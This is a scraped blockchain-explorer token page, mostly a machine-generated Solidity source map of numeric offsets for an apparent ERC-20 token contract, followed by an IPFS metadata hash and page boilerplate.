:18;;;6229:30;6295:34;6275:18;;;6268:62;-1:-1:-1;;;6346:18:1;;;6339:36;6392:19;;15087:72:0;6189:228:1;15087:72:0;-1:-1:-1;;;;;15195:15:0;;;:9;:15;;;;;;;;;;;15213:20;;;15195:38;;15255:13;;;;;;;;:23;;15227:6;;15195:9;15255:23;;15227:6;;15255:23;:::i;:::-;;;;;;;;15311:2;-1:-1:-1;;;;;15296:26:0;15305:4;-1:-1:-1;;;;;15296:26:0;;15315:6;15296:26;;;;8506:25:1;;8494:2;8479:18;;8461:76;15296:26:0;;;;;;;;15335:37;19148:125;15667:399;-1:-1:-1;;;;;15751:21:0;;15743:65;;;;-1:-1:-1;;;15743:65:0;;8202:2:1;15743:65:0;;;8184:21:1;8241:2;8221:18;;;8214:30;8280:33;8260:18;;;8253:61;8331:18;;15743:65:0;8174:181:1;15743:65:0;15899:6;15883:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;15916:18:0;;:9;:18;;;;;;;;;;:28;;15938:6;;15916:9;:28;;15938:6;;15916:28;:::i;:::-;;;;-1:-1:-1;;15960:37:0;;8506:25:1;;;-1:-1:-1;;;;;15960:37:0;;;15977:1;;15960:37;;8494:2:1;8479:18;15960:37:0;;;;;;;21270:94;;:::o;3237:191::-;3330:6;;;-1:-1:-1;;;;;3347:17:0;;;-1:-1:-1;;;;;;3347:17:0;;;;;;;3380:40;;3330:6;;;3347:17;3330:6;;3380:40;;3311:16;;3380:40;3237:191;;:::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:2;;177:1;174;167:12;192:196;251:6;304:2;292:9;283:7;279:23;275:32;272:2;;;325:6;317;310:22;272:2;353:29;372:9;353:29;:::i;393:270::-;461:6;469;522:2;510:9;501:7;497:23;493:32;490:2;;;543:6;535;528:22;490:2;571:29;590:9;571:29;:::i;:::-;561:39;;619:38;653:2;642:9;638:18;619:38;:::i;:::-;609:48;;480:183;;;;;:::o;668:338::-;745:6;753;761;814:2;802:9;793:7;789:23;785:32;782:2;;;835:6;827;820:22;782:2;863:29;882:9;863:29;:::i;:::-;853:39;;911:38;945:2;934:9;930:18;911:38;:::i;:::-;901:48;;996:2;985:9;981:18;968:32;958:42;;772:234;;;;;:::o;1011:264::-;1079:6;1087;1140:2;1128:9;1119:7;1115:23;1111:32;1108:2;;;1161:6;1153;1146:22;1108:2;1189:29;1208:9;1189:29;:::i;:::-;1179:39;1265:2;1250:18;;;;1237:32;;-1:-1:-1;;;1098:177:1:o;1280:297::-;1347:6;1400:2;1388:9;1379:7;1375:23;1371:32;1368:2;;;1421:6;1413;1406:22;1368:2;1458:9;1452:16;1511:5;1504:13;1497:21;1490:5;1487:32;1477:2;;1538:6;1530;1523:22;1582:190;1641:6;1694:2;1682:9;1673:7;1669:23;1665:32;1662:2;;;1715:6;1707;1700:22;1662:2;-1:-1:-1;1743:23:1;;1652:120;-1:-1:-1;1652:120:1:o;1777:194::-;1847:6;1900:2;1888:9;1879:7;1875:23;1871:32;1868:2;;;1921:6;1913;1906:22;1868:2;-1:-1:-1;1949:16:1;;1858:113;-1:-1:-1;1858:113:1:o;1976:264::-;2044:6;2052;2105:2;2093:9;2084:7;2080:23;2076:32;2073:2;;;2126:6;2118;2111:22;2073:2;2167:9;2154:23;2144:33;;2196:38;2230:2;2219:9;2215:18;2196:38;:::i;3835:603::-;3947:4;3976:2;4005;3994:9;3987:21;4037:6;4031:13;4080:6;4075:2;4064:9;4060:18;4053:34;4105:4;4118:140;4132:6;4129:1;4126:13;4118:140;;;4227:14;;;4223:23;;4217:30;4193:17;;;4212:2;4189:26;4182:66;4147:10;;4118:140;;;4276:6;4273:1;4270:13;4267:2;;;4346:4;4341:2;4332:6;4321:9;4317:22;4313:31;4306:45;4267:2;-1:-1:-1;4422:2:1;4401:15;-1:-1:-1;;4397:29:1;4382:45;;;;4429:2;4378:54;;3956:482;-1:-1:-1;;;3956:482:1:o;6422:356::-;6624:2;6606:21;;;6643:18;;;6636:30;6702:34;6697:2;6682:18;;6675:62;6769:2;6754:18;;6596:182::o;8731:128::-;8771:3;8802:1;8798:6;8795:1;8792:13;8789:2;;;8808:18;;:::i;:::-;-1:-1:-1;8844:9:1;;8779:80::o;8864:380::-;8943:1;8939:12;;;;8986;;;9007:2;;9061:4;9053:6;9049:17;9039:27;;9007:2;9114;9106:6;9103:14;9083:18;9080:38;9077:2;;;9160:10;9155:3;9151:20;9148:1;9141:31;9195:4;9192:1;9185:15;9223:4;9220:1;9213:15;9077:2;;8919:325;;;:::o;9249:135::-;9288:3;-1:-1:-1;;9309:17:1;;9306:2;;;9329:18;;:::i;:::-;-1:-1:-1;9376:1:1;9365:13;;9296:88::o;9389:127::-;9450:10;9445:3;9441:20;9438:1;9431:31;9481:4;9478:1;9471:15;9505:4;9502:1;9495:15

Swarm Source

ipfs://d8107b20df56fec3cb6be92ccd252ad8842ca19c2c16aeeb7d9d0005aeffc26b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.